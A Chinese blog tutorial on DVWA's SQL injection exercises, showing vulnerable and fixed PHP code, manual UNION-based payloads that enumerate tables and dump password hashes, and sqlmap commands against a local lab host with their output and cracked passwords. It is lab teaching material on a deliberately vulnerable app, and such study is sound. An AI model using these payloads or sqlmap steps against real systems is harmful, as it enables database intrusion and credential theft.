DVWA 黑客攻防演练(八)SQL 注入 SQL Injection

栏目: 数据库 · 发布时间: 6年前

内容简介:web 程序中离不开数据库,但到今天界面如下功能很简单,就是输入 user Id,就显示对应的用户的 FirstName 和 SurName。 代码如下。

web 程序中离不开数据库,但到今天 SQL注入是一种常见的攻击手段 。如今现在一些 orm 框架(Hibernate)或者一些 mapper 框架( iBatis)会对 SQL 有一个更友好的封装,使得SQL注入变得更困难,同时也让开发者对SQL注入漏洞放松警惕,甚至一些开发者是不知道有SQL注入这回事的。下面通过 dvwa 一起来了解下SQL注入的漏洞吧。

低级

界面如下

功能很简单,就是输入 user Id,就显示对应的用户的 FirstName 和 SurName。 代码如下。

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '
<pre>' . mysql_error() . '</pre>

' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "
<pre>ID: {$id}
First name: {$first}
Surname: {$last}</pre>

";

        // Increase loop count
        $i++;
    }
    mysql_close();
}
?>

Hacker 此时输入 1' or '1' = '1'

就将 users 表数据全部拿到了。。。 因为 sql 变成了

SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1'`

而 or 后面 ‘1’ = ‘1’ 永真,所以所有都符合这个条件了,就会把所有数据都能出来了。

中级

代码如下

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '
<pre>' . mysql_error() . '</pre>

' );

    // Get results
    //...
}

?>

多了个下拉选择。。。火狐或者 burp suite 改参数就行了。麻烦在于代码中 mysql_real_escape_string 会对这 5 个字符转义:

  • \r
  • \n
  • NULL
  • Control-Z

但也仅仅对这5个字符转义,而从代码可以看到,代码没有检验参数。所以我们可以使用 union 关键字。

结果如下

高级

高级的界面看得我一脸懵逼,为什么要弹出一个框,为什么要用 session?满脸问号 再看看代码。

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '
<pre>Something went wrong.</pre>

' );
    //...
}
?>

还是不明白为什么要用 session,而这里主要是用 LIMIT 1 限制了输出数据的长度。

用注释符号的方式就可攻破了

不可能

  • anti-token 机制防 CSRF 攻击
  • 检查 id 是不是数字
  • 使用 prepare 预编译再绑定变量a
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
        $data->execute(); 
        $row = $data->fetch(); 

        // Make sure only 1 result is returned 
        if( $data->rowCount() == 1 ) { 
            // Get values 
            $first = $row[ 'first_name' ]; 
            $last  = $row[ 'last_name' ]; 

            // Feedback for end user 
            echo "
<pre>ID: {$id}
First name: {$first}
Surname: {$last}</pre>

";
        }
    }
} 

// Generate Anti-CSRF token
generateSessionToken(); 

?>

注入的思路

如果存在一个注入的漏洞,攻击者会如何攻击呢?以低级代码为例

获取当前数据库

输入

' UNION ALL SELECT NULL, database()#

SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL SELECT NULL, database()#';

结果:

ID: ' UNION ALL SELECT NULL, database()#
First name:
Surname: dvwa

正在使用数据库是 dvwa

获取数据库所有的表格

输入

' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #

SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #

结果:

ID: ' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #
First name: 
Surname: guestbook,users

获取表格的所有字段

输入

' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #

SELECT first_name, last_name FROM users WHERE user_id = '' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #

结果:

ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name: 
Surname: user_id

ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name: 
Surname: first_name

ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name: 
Surname: last_name

ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name: 
Surname: user

ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name: 
Surname: password

ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name: 
Surname: avatar

ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name: 
Surname: last_login

ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name: 
Surname: failed_login

获取用户及密码

输入

' UNION select user_id,password from users#

SELECT first_name, last_name FROM users WHERE user_id = '' UNION select user_id,password from users#

结果

ID: ' UNION select user_id,password from users#
First name: 1
Surname: e10adc3949ba59abbe56e057f20f883e

ID: ' UNION select user_id,password from users#
First name: 2
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION select user_id,password from users#
First name: 3
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION select user_id,password from users#
First name: 4
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION select user_id,password from users#
First name: 5
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

sqlmap

自己一个个尝试比较麻烦,可以用 sqlmap 帮你扫一下,检查下sql注入的漏洞。不可能级别因为有 anti-token 的机制,就比较麻烦了,所以这里会尝试中级的代码(有转义字符串的)。 Kali Linux 在终端输入

sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli" --data="id=1&Submit=Submit" --cookie="PHPSESSID=22fgnbd9g434ds8cof95l487g0; security=medium"

其他的可以

python sqlmap.py -u "http://192.168.31.166:5678/vulnerabilities/sqli" --data="id=1&Submit=Submit" --cookie="PHPSESSID=22fgnbd9g434ds8cof95l487g0; security=medium"

结果如下,

意思是,可以用 boolean-base ,error-base 等几种类型注入

再按照上面的流程来注入

获取所有的数据库

sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" --dbs
available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema

而我们比较感兴趣的是,dvwa 数据库。接下来想后去它的所有的表

获取 dvwa 所有的表

sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa --tables
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

获取users表的所有字段

这里比较慢可以用多线程加速

sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users --column --threads 10
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+

获取用户及密码信息

比如是 user 和 password

sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users -C user,password --dump --threads 10

而且还问你是否要用密码字典爆破,简直优秀,结果如下。

Database: dvwa                                                                                                                     
Table: users
[5 entries]
+---------+---------------------------------------------+
| user    | password                                    |
+---------+---------------------------------------------+
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
| admin   | e10adc3949ba59abbe56e057f20f883e (123456)   |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+---------++---------++---------++---------++---------++---------++---------++---------++---------+

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Refactoring

Refactoring

Martin Fowler、Kent Beck、John Brant、William Opdyke、Don Roberts / Addison-Wesley Professional / 1999-7-8 / USD 64.99

Refactoring is about improving the design of existing code. It is the process of changing a software system in such a way that it does not alter the external behavior of the code, yet improves its int......一起来看看 《Refactoring》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

在线进制转换器
在线进制转换器

各进制数互转换器

MD5 加密
MD5 加密

MD5 加密工具